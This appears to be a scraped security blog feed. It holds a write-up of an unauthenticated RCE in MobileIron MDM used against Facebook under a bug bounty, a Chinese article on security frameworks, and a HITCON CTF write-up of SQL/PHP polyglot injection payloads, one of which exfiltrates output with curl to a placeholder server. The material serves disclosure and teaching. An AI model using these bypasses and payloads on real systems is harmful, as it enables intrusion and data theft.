但幸運的是,我們依然可以透過 JNDI 的 Naming Reference 到本機既有的 Class Factory 上! 透過類似 Return-Oriented Programming的概念,尋找本機 ClassPath 中可利用的類別去做更進一步的利用,詳細的手法可參考由 Michael Stepankin在 2019 年年初所發表的 Exploiting JNDI Injections in Java,裡面詳細敘述了如何透過 Tomcat 的 BeanFactory去載入 ELProcessor達成任意程式碼執行!

這條路看似通暢,但實際上卻差那麼一點,由於 ELProcessor在 Tomcat 8 後才被引入,因此上面的繞過方式只能在 Tomcat 版本大於 8 後的某個版本才能成功,而我們的目標則是 Tomcat 7.x,因此得為 BeanFactory尋找一個新的利用鏈! 而經過搜尋,發現在 Welkin文章中所提到:

除了 javax.el.ELProcessor,当然也还有很多其他的类符合条件可以作为 beanClass 注入到 BeanFactory 中实现利用。举个例子,如果目标机器 classpath 中有 groovy 的库,则可以结合之前 Orange 师傅发过的 Jenkins 的漏洞实现利用


目標的 ClassPath 上剛好有 Groovy 存在! 於是我們又讓 Meta Programming 偉大了一次 :D

然而事實上,目標伺服器上 Groovy 版本為 1.5.6,是一個距今十年前老舊到不支援 Meta Programming 的版本,所以我們最後還是基於 Groovy 的程式碼,重新尋找了一個在 GroovyShell上的利用鏈! 詳細的利用鏈可參考我送給 JNDI-Injection-Bypass的這個 Pull Request!

攻擊 Facebook

現在我們已經有了一個基於 JNDI + BeanFactory + GroovyShell的完美遠端程式碼執行漏洞,接下來就開始攻擊 Facebook 吧! 從前文提到,我們在 2016 年時就已知 Facebook 使用 MobileIron 當作他們的 MDM 解決方案,雖然現在再檢查一次發現首頁直接變成 403 Forbidden 了,不過幸運的是 Web Service 層並無阻擋!
s

萬事俱備,只欠東風! 正當要攻擊 Facebook 的前幾天,我們突然想到,從上次進入 Facebook 伺服器的經驗,由於安全上的考量,Facebook 似乎會禁止所有對外部非法的連線,這點對我們 JNDI 注入攻擊有著至關重要的影響! 首先,JNDI 注入的核心就是透過受害者連線至攻擊者控制的惡意伺服器,並接收回傳的惡意 Naming Reference 後所導致的一系列利用,但現在連最開始的連線到攻擊者的惡意伺服器都無法,更別談後續的利用。


自此,我們關於 JNDI 注入的路已全被封殺,只能回到 Hessian 反序列化重新思考! 而現有的利用鏈皆無法達到遠端程式碼執行,所以我們勢必得拋棄 JNDI 注入,尋找一個新的利用鏈!



為了尋找新的利用鏈,必須先深入理解已存在利用鏈的原理及成因,在重讀 Java Unmarshaller Security的論文後,我對其中一句話感到了好奇:

Cannot restore Groovy’s MethodClosure as readResolve() is called which throws an exception.


哦,為什麼作者要特地補上這句話呢? 我開始有個猜想:

作者評估過把 Groovy 當成利用鏈的可行性,雖然被限制住了,但一定覺得有機會才會寫進論文中!


從這個猜想出發,雖然 Groovy 的利用鏈被 readResolve()限制住了,但剛好我們目標版本的 Groovy 很舊,說不定尚未把這個限制加入程式庫!

我們比較了一下 Groovy-1.5.6 與最新版本位於 groovy/runtime/MethodClosure.java中的 readSolve()實現:

$diff1_5_6/MethodClosure.java3_0_4/MethodClosure.java>privateObjectreadResolve(){>if(ALLOW_RESOLVE){>returnthis;>}>thrownewUnsupportedOperationException();>}

可以看到的確在舊版是沒有 ALLOW_RESOLVE限制的,而後來經過考古後也發現,這個限制其實 Groovy 自己為了因應 2015 年所出現 Java 反序列化漏洞的減緩措施,因此也被分配了 CVE-2015-3253這個漏洞編號! 由於 Groovy 只是一個只在內部使用、不會對外的小配角,因此在沒有特別需求下開發者也不會特地去更新它,因此成為了我們攻擊鏈的一環! 這也再一次驗證了「任何看似舉無輕重的小元件,都有可能成為你被攻擊的主因」!

最後,當然! 我們成功的取得在 Facebook 伺服器上的 Shell,以下是影片:

漏洞通報與修復

我們約在三月時完成整個漏洞研究,並在 4/3 日將研究成果寫成報告,透過 security@mobileiron.com回報給 MobileIron! 官方收到後著手開始修復,在 6/15 釋出修補程式並記錄了三個 CVE 編號,詳細的修復方式請參閱 MobileIron 官方網站!

  • CVE-2020-15505 - Remote Code Execution
  • CVE-2020-15506 - Authentication Bypass
  • CVE-2020-15507 - Arbitrary File Reading

當官方釋出修補程式後,我們也開始監控世界上所有有使用 MobileIron 企業的修復狀況,這裡只單純檢查靜態檔案的 Last-Modified Header,結果僅供參考不完全代表實際情況(Unknown 代表未開 443/8443 無法利用):


與此同時,我們也持續監控著 Facebook,並在 15 天確認都未修補後於 7/2 日成功進入 Facebook 伺服器後回報 Facebook Bug Bounty Program!

結語

到此,我們已經成功示範了如何尋找一個 MDM 伺服器的漏洞! 從繞過 Java 語言層級的保護、網路限制,到寫出攻擊程式並成功的利用在 Bug Bounty Program 上! 因為文長,還有許多來不及分享的故事,這裡僅條列一下供有興趣繼續研究的人參考!

  • 如何從 MDM 伺服器,控制回員工的手機裝置
  • 如何分析 MobileIron 的私有 MI Protocol
  • CVE-2020-15506 本質上其實是一個很有趣的認證繞過漏洞

希望這篇文章能夠喚起大眾對於 MDM 攻擊面的注意,以及企業安全的重要性! 感謝收看 :D

How I Hacked Facebook Again! Unauthenticated RCE on MobileIron MDM

$
0
0

English Version
中文版本

Hi, it’s a long time since my last article. This new post is about my research this March, which talks about how I found vulnerabilities on a leading Mobile Device Management product and bypassed several limitations to achieve unauthenticated RCE. All the vulnerabilities have been reported to the vendor and got fixed in June. After that, we kept monitoring large corporations to track the overall fixing progress and then found that Facebook didn’t keep up with the patch for more than 2 weeks, so we dropped a shell on Facebook and reported to their Bug Bounty program!

This research is also presented at HITCON 2020. You can check the slides here


As a Red Teamer, we are always looking for new paths to infiltrate the corporate network from outside. Just like our research in Black Hat USA last year, we demonstrated how leading SSL VPNs could be hacked and become your Virtual “Public” Network! SSL VPN is trusted to be secure and considered the only way to your private network. But, what if your trusted appliances are insecure?

Based on this scenario, we would like to explore new attack surfaces on enterprise security, and we get interested in MDM, so this is the article for that!

What is MDM?

Mobile Device Management, also known as MDM, is an asset assessment system that makes the employees’ BYOD more manageable for enterprises. It was proposed in 2012 in response to the increasing number of tablets and mobile devices. MDM can guarantee that the devices are running under the corporate policy and in a trusted environment. Enterprise could manage assets, install certificates, deploy applications and even lock/wipe devices remotely to prevent data leakage as well.

UEM (Unified Endpoint Management) is a newer term relevant to MDM which has a broader definition for managed devices. Following we use MDM to represent similar products!

Our target

MDM, as a centralized system, can manage and control all employees’ devices. It is undoubtedly an ideal asset assessment system for a growing company. Besides, MDM must be reachable publicly to synchronize devices all over the world. A centralized and public-exposing appliance, what could be more appealing to hackers?

Therefore, we have seen hackers and APT groups abusing MDM these years! Such as phishing victims to make MDM a C&C server of their mobile devices, or even compromising the corporate exposed MDM server to push malicious Trojans to all devices. You can read the report Malicious MDM: Let’s Hide This App by Cisco Talos team and First seen in the wild - Malware uses Corporate MDM as attack vector by CheckPoint CPR team for more details!

From previous cases, we know that MDM is a solid target for hackers, and we would like to do research on it. There are several MDM solutions, even famous companies such as Microsoft, IBM and Apple have their own MDM solution. Which one should we start with?

We have listed known MDM solutions and scanned corresponding patterns all over the Internet. We found that the most prevalent MDMs are VMware AirWatch and MobileIron!

So, why did we choose MobileIron as our target? According to their official website, more than 20,000 enterprises chose MobileIron as their MDM solution, and most of our customers are using that as well. We also know Facebook has exposed the MobileIron server since 2016. We have analyzed Fortune Global 500 as well, and found more than 15% using and exposing their MobileIron server to the public! Due to above reasons, it became our main target!

Where to Start

From past vulnerabilities, we learned there aren’t too many researchers diving into MobileIron. Perhaps the attack vector is still unknown. But we suspect the main reason is that the firmware is too hard to obtain. When researching an appliance, turning a pure BlackBox testing into GrayBox, or WhiteBox testing is vital. We spent lots of time searching for all kinds of information on the Internet, and ended up with an RPM package. This RPM file is supposed to be the developer’s testing package. The file is just sitting on a listable WebRoot and indexed by Google Search.

Anyway, we got a file to research. The released date of the file is in early 2018. It seems a little bit old but still better than nothing!

P.S. We have informed MobileIron and the sensitive files has been removed now.

Finding Vulnerabilities

After a painful time solving the dependency hell, we set the testing package up finally. The component is based on Java and exposed three ports:

  • 443 - the user enrollment interface
  • 8443 - the appliance management interface
  • 9997 - the MobileIron device synchronization protocol (MI Protocol)

All opened ports are TLS-encrypted. Apache is in the front of the web part and proxies all connections to backend, a Tomcat with Spring MVC inside.

Due to the Spring MVC, it’s hard to find traditional vulnerabilities like SQL Injection or XSS from a single view. Therefore, examining the logic and architecture is our goal this time!

Talking about the vulnerability, the root cause is straightforward. Tomcat exposed a Web Service that deserializes user input with Hessian format. However, this doesn’t mean we can do everything! The main effort of this article is to solve that, so please see the exploitation below.

Although we know the Web Service deserializes the user input, we can not trigger it. The endpoint is located on both:

  • User enrollment interface - https://mobileiron/mifs/services/
  • Management interface - https://mobileiron:8443/mics/services/

We can only touch the deserialization through the management interface because the user interface blocks the Web Service access. It’s a critical hit for us because most enterprises won’t expose their management interface to the Internet, and a management-only vulnerability is not useful to us so that we have to try harder. :(

Scrutinizing the architecture, we found Apache blocks our access through Rewrite Rules. It looks good, right?

RewriteRule ^/mifs/services/(.*)$ https://%{SERVER_NAME}:8443/mifs/services/$1 [R=307,L]
RewriteRule ^/mifs/services [F]

MobileIron relied on Apache Rewrite Rules to block all the access to Web Service. It’s in the front of a reverse-proxy architecture, and the backend is a Java-based web server.

Have you recalled something?


Yes, the Breaking Parser Logic! It’s the reverse proxy attack surface I proposed in 2015, and presented at Black Hat USA 2018. This technique leverage the inconsistency between the Apache and Tomcat to bypass the ACL control and reaccess the Web Service. BTW, this excellent technique is also applied to the recently F5 BIG-IP TMUI RCE vulnerability!

https://mobileiron/mifs/.;/services/someService

Exploiting Vulnerabilities

OK, now we have access to the deserialization wherever it’s on enrollment interface or management interface. Let’s go back to exploitations!

Moritz Bechler has an awesome research which summarized the Hessian deserialization vulnerability on his whitepaper, Java Unmarshaller Security. From the marshalsec source code, we learn the Hessian deserialization triggers the equals() and hashcode() while reconstructing a HashMap. It could also trigger the toString() through the XString, and the known exploit gadgets so far are:

  • Apache XBean
  • Caucho Resin
  • Spring AOP
  • ROME EqualsBean/ToStringBean

In our environment, we could only trigger the Spring AOP gadget chain and get a JNDI Injection.

 NameEffect
xApache XBeanJNDI Injection
xCaucho ResinJNDI Injection
Spring AOPJNDI Injection
xROME EqualsBeanRCE

Once we have a JNDI Injection, the rest parts of exploitations are easy! We can just leverage Alvaro Muñoz and Oleksandr Mirosh’s work, A Journey From JNDI/LDAP to Remote Code Execution Dream Land, from Black Hat USA 2016 to get the code execution… Is that true?


Since Alvaro Muñoz and Oleksandr Mirosh introduced this on Black Hat, we could say that this technique helps countless security researchers and brings Java deserialization vulnerability into a new era. However, Java finally mitigated the last JNDI/LDAP puzzle in October 2018. After that, all java version higher than 8u181, 7u191, and 6u201 can no longer get code execution through JNDI remote URL-Class loading. Therefore, if we exploit the Hessian deserialization on the latest MobileIron, we must face this problem!

Java changed the default value of com.sun.jndi.ldap.object.trustURLCodebase to False to prevent attackers from downloading remote URL-Class to get code executions. But only this has been prohibited. We can still manipulate the JNDI and redirect the Naming Reference to a local Java Class!

The concept is a little bit similar to Return-Oriented Programming, utilizing a local existing Java Class to do further exploitations. You can refer to the article Exploiting JNDI Injections in Java by Michael Stepankin in early 2019 for details. It describes the attack on POST-JNDI exploitations and how to abuse the Tomcat’s BeanFactory to populate the ELProcessor gadget to get code execution. Based on this concept, researcher Welkin also provides another ParseClass gadget on Groovy. As described in his (Chinese) article:

除了 javax.el.ELProcessor,当然也还有很多其他的类符合条件可以作为 beanClass 注入到 BeanFactory 中实现利用。举个例子,如果目标机器 classpath 中有 groovy 的库,则可以结合之前 Orange 师傅发过的 Jenkins 的漏洞实现利用

It seems the Meta Programming exploitation in my previous Jenkins research could be used here as well. It makes the Meta Programming great again :D


The approach is fantastic and looks feasible for us. But both gadgets ELProcessor and ParseClass are unavailable due to our outdated target libraries. Tomcat introduced the ELProcessor since 8.5, but our target is 7. As for the Groovy gadget, the target Groovy version is too old (1.5.6 from 2008) to support the Meta Programming, so we still have to find a new gadget by ourselves. We found a new gadget on GroovyShell in the end. If you are interested, you can check the Pull Request I sent to the JNDI-Injection-Bypass project!

Attacking Facebook

Now we have a perfect RCE by chaining JNDI Injection, Tomcat BeanFactory and GroovyShell. It’s time to hack Facebook!

Aforementioned, we knew the Facebook uses MobileIron since 2016. Although the server’s index responses 403 Forbidden now, the Web Service is still accessible!

Everything is ready and wait for our exploit! However, several days before our scheduled attack, we realized that there is a critical problem in our exploit. From our last time popping shell on Facebook, we noticed it blocks outbound connections due to security concerns. The outbound connection is vital for JNDI Injection because the idea is to make victims connecting to a malicious server to do further exploitations. But now, we can’t even make an outbound connection, not to mention others.


So far, all attack surfaces on JNDI Injection have been closed, we have no choice but to return to Hessian deserialization. But due to the lack of available gadgets, we must discover a new one by ourselves!


Before discovering a new gadget, we have to understand the existing gadgets’ root cause properly. After re-reading Moritz Bechler’s paper, a certain word interested me:

Cannot restore Groovy’s MethodClosure as readResolve() is called which throws an exception.


A question quickly came up in my mind: Why did the author leave this word here? Although it failed with exceptions, there must have been something special so that the author write this down.

Our target is running with a very old Groovy, so we are guessing that the readResolve() constrain might not have been applied to the code base yet! We compared the file groovy/runtime/MethodClosure.java between the latest and 1.5.6.

$diff1_5_6/MethodClosure.java3_0_4/MethodClosure.java>privateObjectreadResolve(){>if(ALLOW_RESOLVE){>returnthis;>}>thrownewUnsupportedOperationException();>}

Yes, we are right. There is no ALLOW_RESOLVE in Groovy 1.5.6, and we later learned CVE-2015-3253 is just for that. It’s a mitigation for the rising Java deserialization vulnerability in 2015. Since Groovy is an internally used library, developers won’t update it if there is no emergency. The outdated Groovy could also be a good case study to demonstrated how a harmless component can leave you compromised!

Of course we got the shell on Facebook in the end. Here is the video:

Vulnerability Report and Patch

We have done all the research on March and sent the advisory to MobileIron at 4/3. The MobileIron released the patch on 6/15 and addressed three CVEs for that. You can check the official website for details!

  • CVE-2020-15505 - Remote Code Execution
  • CVE-2020-15506 - Authentication Bypass
  • CVE-2020-15507 - Arbitrary File Reading

After the patch has been released, we start monitoring the Internet to track the overall fixing progress. Here we check the Last-Modified header on static files so that the result is just for your information. (Unknown stands for the server closed both 443 and 8443 ports)


At the same time, we keep our attentions on Facebook as well. With 15 days no-patch confirm, we finally popped a shell and report to their Bug Bounty program at 7/2!

Conclusion

So far, we have demonstrated a completely unauthenticated RCE on MobileIron. From how we get the firmware, find the vulnerability, and bypass the JNDI mitigation and network limitation. There are other stories, but due to the time, we have just listed topics here for those who are interested:

  • How to take over the employees’ devices from MDM
  • Disassemble the MI Protocol
  • And the CVE-2020-15506, an interesting authentication bypass

I hope this article could draw attention to MDM and the importance of enterprise security! Thanks for reading. :D

你的資安策略夠明確嗎?透過框架優先緩解真實威脅

$
0
0

前言

這一篇是跟 Allen 在 iThome 2020 資安大會一起分享的主題。在國內,大家比較少討論資安策略這個議題。主要原因除了這個題目太過艱澀、無聊外,從商業的角度也不容易成為獲利的服務。而我們會想分享這個主題的原因與我們主要的服務「紅隊演練」有關。

執行紅隊演練三年多來,雖然協助企業找出威脅營運的重要入侵路徑,甚至發現防禦機制的不足之處,許多積極的客戶更想知道除了當次紅隊演練發現的問題外,是不是有更周延的方式來盤點防禦現況的不足。因此,我們開始尋找一個結構化且完整的方式來探究這個議題,開始思考國際標準、框架與紅隊演練之間的關係。希望除了從攻擊者的思維跟技巧找到企業的問題外,也能從防守方的角度思考企業長期而全面的防禦規劃。

複雜的問題,更要從策略面思考

資安是非常複雜而且分工細膩的工作,不確定問題的核心就無法釐清權責、安排資源,遑論降低再發的機率。因此要解決這個複雜問題需要有資安策略來支撐,而不是頭痛醫頭、腳痛醫腳。首先,我們把資安的防護分為三種階段:

  • 恢復原狀型:企業將主要的資安資源投放在日常的維運及問題查找上,包括確認當下發生的問題、進行緊急處理、災害控制、查明及分析發生原因、修復問題、研究對策避免再發生等等。
  • 防微杜漸型:將資源投入在對企業造成重大衝擊的問題上,並持續進行預防及回應的評估與演練、嘗試提前找出原因,加以預防或思考演練發生時應該執行的對策。
  • 追求理想/卓越型:盤點及分析問題的優、缺點,設定企業持續精進的目標,藉由行動計畫來達成目標。

根據我們的觀察,幾乎多數的企業都是落在「恢復原狀型」,但企業多半認知其為「防微杜漸型」。造成這個認知上的落差,主因來自於對自身安全狀況的不了解,導致對於風險的掌握程度產生誤判。因此,透過一個宏觀的策略思考,有助於盤點各種控制措施不足之處,才有機會將防禦縱深的機制拴緊螺絲,打造期望的防禦體系。

分層負責,各司其職

我們建議將縱深防禦以一個更全面的方式來檢視,分為 Executive Layer、Process Layer、Procedure Layer 以及 Technology Layer 四層,一個好的防禦策略,除了要做到 R & R (Role & Responsibility) 外,更重要的是在上而下制定策略之後,經由下而上的方式確保策略的有效性,因此不同階層的資安從業人員都有其需要關注的重點。

  • Executive Layer:資安長 (CISO) 的視角,關注足以影響組織營運的風險及緩解這些風險的資源是否充足。可以參考的標準包括 NIST 800-39、NIST 800-30、ISO 27005 以及 CIS RAM。
  • Process Layer:高階主管的視角,關注持續維持組織安全運作的管理程序是否足夠及落實、規劃未來組織資安的成熟度等。參考的標準包括 NIST Cybersecurity Framework、ISO 27001 等。
  • Procedure Layer:中階主管的視角,包括決定哪些安全控制措施要執行、執行的細緻程度,這些項目就是一般所謂的安全控制措施 (security control),例如組態設定、密碼管理、日誌紀錄的類型等,可以參考 NIST 800-53 或是 CIS Critical Security Controls 等規範。
  • Technology Layer:初階主管與技術人員的角度,包含針對攻擊者的技巧所應對的資安設備、自動化安全控制措施的工具、監控分析工具等等。目前這部份也是組織資安防禦的重點,可以參考資安設備支援 MITRE ATT&CK 的攻擊技巧來盤點現有的防禦缺口或透過 OWASP Cyber Defense Matrix (CDM) 定位產品。

框架與標準的定位

在說明完不同階層關注的重點後,這裡特別說明幾個重要 (或使用率較高) 的標準及框架。除了要知道哪些框架跟標準與資安有關外,同時也需要了解適用的情境、目的及彼此間的差異

  • ISO 27001:屬於 Process Layer,其提供建立資訊安全管理系統的標準,幫助組織管理和保護資訊資產,確保達到客戶或利害關係人其安全的期待;可以取得驗證。但要提醒的是,27001 作為一個實踐資訊安全管理 (Information Security System) 的標準,雖然具有文件化 (Documented) 要求的優點,但其要求項目多數在預防 (Prevent) 及避免 (Avoid) 上,較少著重在因應網路安全的偵測 (Detect) 及回應 (React) 上。
  • NIST Cybersecurity Framework (CSF):屬於 Process View,由美國主導的網路安全框架,提供關鍵基礎設施或一般企業幫助組織管理和保護資訊資產,確保其安全無慮;可以驗證並有成熟度模式,可以讓企業先描繪自己的資安狀態 (profile) 並藉由訂定目標逐年強化企業的安全。同時,明確的將安全要求結構化的分成識別 (Identify)、防禦 (Protect)、偵測 (Detect)、回應 (Respond) 及復原 (Recover),並支援其他安全標準與框架的對應,如 CIS CSC、COBIT、27001、NIST 800-53 等。

  • CIS Cybersecurity Control:資訊安全控制指引屬於 Procedure View,針對網路攻擊所應採取的控制項目提出優先執行順序,組織可依照自身的規模 (IG1-IG3) 執行對應的措施, 分為基礎型、基本型及組織型,共 20 個控制群組、178 個子控制項。

不良的資安防護狀態

實務上來說,企業的防禦策略有兩種不良的狀態

  1. 縱深防護不足:防禦機制不夠全面 (紅色缺口)、設備效果不如宣稱 (藍色缺口)、設備本身的限制 (橘色缺口);上述的問題,綜合而言,就會使得設備間的綜效無法阻斷攻擊鏈,形成技術層的破口。
  2. 配套措施的不完整:也就是「程序」及「流程」上的不足,假設某資安設備可以偵測到異常行為,資安人員如何分辨這是攻擊行為還是員工內部正常行為?多久內要及時回應進行處理、多久要發動鑑識?一旦上述的「程序」及「流程」沒有定義清楚,縱使設備本身是有效的,組織仍然會因為回應時間過慢,導致攻擊者入侵成功。

盤點各層次的守備範圍

那麼要如何改善這兩種不佳的防禦狀態?我們可以單獨使用 CDM 來評估技術層的守備範圍是否足夠,也可以使用它來作為程序、流程及技術層的跨階層的盤點;

CDM (Cyber Defense Matrix) 是 OWASP 的一個專案,由一個 5x5 的矩陣所構成。橫軸是 NIST CSF 的五大類別,而縱軸則是資產盤點常見的分類;組織可以利用這個矩陣來盤點企業 Technology View 建構的防禦設備,更精準的確認需要保護的資產是否在 NIST CSF 的每個類別都有對應的措施。

以 ISO 27001 作為例子,將其本文的要求及附錄 A 的控制措施,對應到 CDM 上,進而盤點 ISO 27001 在組織的程序面所能涵蓋的範圍。要注意的是,不同組織在盤點時,會產生不同的對應結果,這正是透過 CDM 來檢視的意義所在;例如在盤點「A.7.2.2 資訊安全認知、教育及訓練」時,企業要思考對於人員的教育訓練是否涵蓋到 NIST CSF 的五大類別,還是只包含人員意識的訓練;另外以「A.6.2.2 遠距工作」的防護機制,除了針對網路層及應用程式保護外,管理程序是否也包含遠距工作的資料及設備要求?

接著,往下一層 (Procedure Layer),也將企業現有的控制措施,對應到 CDM 中。這邊以 CIS CSC 為例,淺藍色的部份屬於基本型的控制群組、灰色部分為基礎型控制群組,組織型的控制群組因為比較偏向程序面,因此比較難單獨歸屬在特定的 CDM 區塊中。

透過真實的威脅,補足資安策略的不足

在透過 CDM 盤點完 Procedure Layer 及 Process Layer 後,企業接著可以透過資安事故、威脅情資、紅隊演練或模擬入侵攻擊工具 (BAS) 等貼近真實威脅的服務或工具,來思考資安策略的不足之處。這邊我們以一個紅隊演練的部分成果作為案例,來貫穿本篇文章的應用。

在這個案例中,我們約略可以發現幾個問題:

  1. 程式撰寫不夠安全:以致存在任意檔案上傳的漏洞。
  2. 不同系統間使用共用帳號密碼:導致撞庫攻擊可以成功,而監控機制或組態管理顯然未發揮作用。
  3. 未依照資料機敏性進行網段區隔:對外服務網段可以透過 RDP 連線至 core zone。
  4. 特權帳號與存取控制未進行關聯分析:致可以使用 backup 帳號登入 AD 網域控制器。

上述的 4 個項目,是直覺在盤點時可能想到的疏漏項目。但要怎麼確認還有其他根因 (root cause) 是企業沒思考到的呢?這時候就可以利用已知的標準及框架,搭配先前盤點好的控制項目,來更為周延的思考目前還可以強化的控制措施;如果企業的資源有限,甚至可以參考 CIS CSC 對於優先權的建議順序,先確認組織實作群組 (Implementation Group) ,再依基本型、基礎型及組織型,訂定短、中、長期計畫及投放資源,有目標的改善防禦能耐。

最後,可以將上圖找出 Procedure Layer 的控制項目,對應到 Process Layer 的盤點結果,檢視流程上對應的作法。以 「14.1、依據敏感性網路進行區隔」為例,去評估 ISO 27001 中「A.6.2.2 遠距工作」的要求上,在設備、應用程式、網路、資料及使用者,是否都有做好網路區隔;或是「6.3 開啟更詳盡的日誌」,評估在 ISO 27001 中「A.16.1.5」對於資訊安全事故的回應上,在偵測、回應跟復原上,是否都有對應的程序可以支持,監控到發出的告警。

透過本篇的方法論可以從技術、程序、流程到風險,讓不同階層的資安從業人員有一致性的溝通方式。我們希望資安策略對於企業是一個真正可被實作、建立出短、中、長期目標的務實作為,而非只是一個組織治理中的一個高深名詞。

DEVCORE Wargame at HITCON 2020

$
0
0

搭晚安~一年一度的資安圈大拜拜活動之一 HITCON 2020 在約一個月前順利落幕啦,今年我們照舊在攤位準備了幾道小小的 Wargame 給會眾朋友們挑戰自身技術,並同樣準備了幾份精美小禮物送給挑戰成功的朋友們。

總計活動兩天間有登入並提交至少一把 flag 的人數為 92 人,非常感謝大家踴躍地參與,這次未能成功在時間內完成挑戰而未領到小禮物的朋友們也別太灰心,為了能更多的回饋社群,所以我們決定寫一篇技術文章介紹本次 Wargame 的其中一道開放式題目sqltest,為此我們在活動後詢問了所有解題的人,收集了大家的解法與思路,並將在文章的接下來一一為大家介紹!

sqltest 題目說明

這道題目主要核心的部分就這 3 個檔案:Dockerfile、readflag.c 和 index.php。讓我們先看看前兩個檔案,可以從下方的 Dockerfile 中先觀察到 flag 被放置在檔案 /flag 之中,但權限被設定為僅有 root 可以讀取,另外準備了具有 setuid 權限的執行檔 /readflag,讓任何人均可在執行此檔案時偽裝成 root 身分,而 /readflag 的原始碼就如下方 readflag.c 所示,很單純的讀取並輸出 /flag 檔案內容,這個配置就是一個很標準以 getshell 為目標的 Wargame 題目。

Dockerfile

FROM php:7.4.10-apache# setup OS envRUN apt update -yRUN docker-php-ext-install mysqli
RUN docker-php-ext-enable mysqli

# setup web applicationCOPY ./src/ /var/www/html/# setup flagRUN echo"DEVCORE{flag}"> /flag
RUN chmod 0400 /flag
RUN chown root:root /flag
COPY readflag.c /readflag.cRUN gcc -o /readflag /readflag.c
RUN chmod 4555 /readflag

readflag.c

#include <stdio.h>
#include <stdlib.h>
voidmain(){seteuid(0);setegid(0);setuid(0);setgid(0);system("/bin/cat /flag");}

上述前半部為環境的佈置,真正題目的開始則要見下方 index.php,其中 $_REQUEST是我們可以任意控制的參數,題目除了 isset 外並無其他任何檢查,隨後第 8 行中參數被帶入 SQL 語句作執行,如果 SQL 執行成功並且有查詢到資料,就會進入 15 行開始的處理,來自 $_REQUEST$column變數再次被使用並傳入 eval 作執行,這樣看下來題目的解題思路就很清楚了,我們需要構造一個字串,同時為合法的 SQL 語句與 PHP 語句,讓 SQL 執行時有回傳值且 PHP 執行時能夠執行任意系統指令,就能 getshell 並呼叫 /readflag 取得 flag!

index.php

<?phpif(!isset($_REQUEST["column"])&&!isset($_REQUEST["id"])){die('No input');}$column=$_REQUEST["column"];$id=$_REQUEST["id"];$sql="select ".$column." from mytable where id ='".$id."'";$conn=mysqli_connect('mysql','user','youtu.be/l11uaEjA-iI','sqltest');$result=mysqli_query($conn,$sql);if($result){if(mysqli_num_rows($result)>0){$row=mysqli_fetch_object($result);$str="\$output = \$row->".$column.";";eval($str);}}else{die('Database error');}if(isset($output)){echo$output;}

出題者解法

身為出題者,當然必須先拋磚一下才能夠引玉~

exploit:

QueryString: column={passthru('/readflag')}&id=1

SQL: SELECT {passthru('/readflag')} FROM mytable WHERE id = '1'
PHP: $output = $row->{passthru('/readflag')};

這個解法利用了 MySQL 一個相容性的特性,{identifier expr}是 ODBC Escape 語法,MySQL 相容了這個語法,使得在語句中出現時不會導致語法錯誤,因此我們可以構造出 SELECT {passthru '/readflag'} FROM mytable WHERE id = '1'字串仍然會是合法的 SQL 語句,更進一步地嘗試將 ODBC Escape 中的空白移除改以括號包夾字串的話,會變成 SELECT {passthru('/readflag')} FROM mytable WHERE id = '1',由於 MySQL 提供的語法彈性,此段語句仍然會被視為合法並且可正常執行得到相同結果。

接著再看進到 eval 前會構造出這樣的 PHP 語句:$output = $row->{passthru('/readflag')},由於 PHP 在語法上也提供了極大的彈性,使得我們可以利用 $object->{ expr }這樣的語法將 expr 敘述句動態執行完的結果作為物件屬性名稱去存取物件的屬性,因此結果就會呼叫 passthru 函式執行系統指令。

這邊補充一個冷知識,當想到系統指令時,大家直覺可能會想到使用 system 函式,但是 MySQL 在 8.0.3 中將 system 加入關鍵字保留字之中,而這題目環境是使用 MySQL 8.0 架設的,所以如果使用 system 的話反而會失敗唷!

來自會眾朋友們的解法

由於朋友們踴躍提交的解法眾多,所以我們將各解法簡單做了分組,另外提醒一下,以下順序只是提交的先後時間差,並無任何優劣,能取得 flag 的解法都是好解法!接下來就讓我們進行介紹吧。

ODBC Escape

by Mico (https://www.facebook.com/MicoDer/):

QueryString: column={exec(%27curl%20http://Mico_SRV/?`/readflag`%27)};%23&id=1

SQL: SELECT {exec('curl http://Mico_SRV/?`/readflag`')};# FROM mytable WHERE id = '1'
PHP: $output = $row->{exec('curl http://Mico_SRV/?`/readflag`')};#;

這個解法與出題者的十分類似,但沒有使用可以直接輸出結果的 passthru 而是改用 exec,接著透過 curl 把結果回傳至自己的伺服器,據本人說法是因為「覺得駭客就該傳些什麼回來自己Server XD 」XD。

Comment Everywhere

幾乎所有程式語言都有註解符號可以讓開發人員在程式碼中間加上文字說明,以便下一個開發人員接手時可以快速理解這段程式碼的意義。當然 SQL 與 PHP 也有各自的註解符號,但它們所支援的符號表示稍微有些差異,而這小差異就可以幫助我們達成目的。

by LJP (https://ljp-tw.github.io/blog/):

QueryString: column=id%0a-- /*%0a-- */ ; system('/readflag');%0a&id=1

SQL: SELECT id
     -- /*
     -- */ ; system('/readflag');
     FROM mytable WHERE id = '1'
PHP: $output = id
     -- /*
     -- */ ; system('/readflag');
     ;

這個解法看似複雜,本質上其實很單純,就是利用兩個語言支援不同註解符號的特性。對於 SQL 而言,--是註解符號,會無視後方所有到換行為止的文字,所以每一行以 --開頭的字串,SQL 是看不見的。接著來看 PHP,對於 PHP 而言,/* 任何字串 */這是註解的表示方式,開頭結尾由 / 與 * 組成,中間被包夾的字串是看不見的,並且支援換行,而 --在 PHP 之中則代表遞減運算子,所以如 $output --字串其實是在對 $output 進行減 1 的操作。綜合上面特性,對於上面的解法,其實只有 PHP 看見的第三行 ` ; system(‘/readflag’);` 會認為是需要執行的程式碼,其餘部分不論是 SQL 還是 PHP 都以為是註解的字串而無視,因此可以順利執行取得 flag。

by ankleboy (https://www.facebook.com/profile.php?id=100001963625238):

QueryString: column=name%20/*!%20from%20mytable%20*/%20--%20;%20system(%22/readflag%22)&id=1

SQL: SELECT name /*! from mytable */ -- ; system("/readflag") FROM mytable WHERE id = '1'
PHP: $output = $row->name /*! from mytable */ -- ; system("/readflag");

此解法也是同樣運用註解,但使用的註解符號似乎稍微特殊,/* */除了 PHP 之外,MySQL 也同樣支援此允許多行的註解符號,但假如多上一個驚嘆號 /*! */,事情就又稍微不同了,這是 MySQL 特有的變種註解符號,在此符號中的字串,仍然會被 MySQL 當成 SQL 的一部分執行,但在其他 DBMS 之中,因為是 /*開頭就會認為它就是單純的註解文字而忽視,讓開發人員能撰寫可 portable 的程式碼。因此就能製造出一串註解文字可被 MySQL 看見但無法被 PHP 看見,強制在註解文字裡讓 SQL 構造合法語句,再利用 --註解閉合所有冗贅 SQL 語句,緊接著 --後就能撰寫任意 PHP 執行碼。

by FI:

QueryString: column=id/*!from mytable union select `/readflag`*/./*!id from mytable*/`/readflag`%23?>&id=1

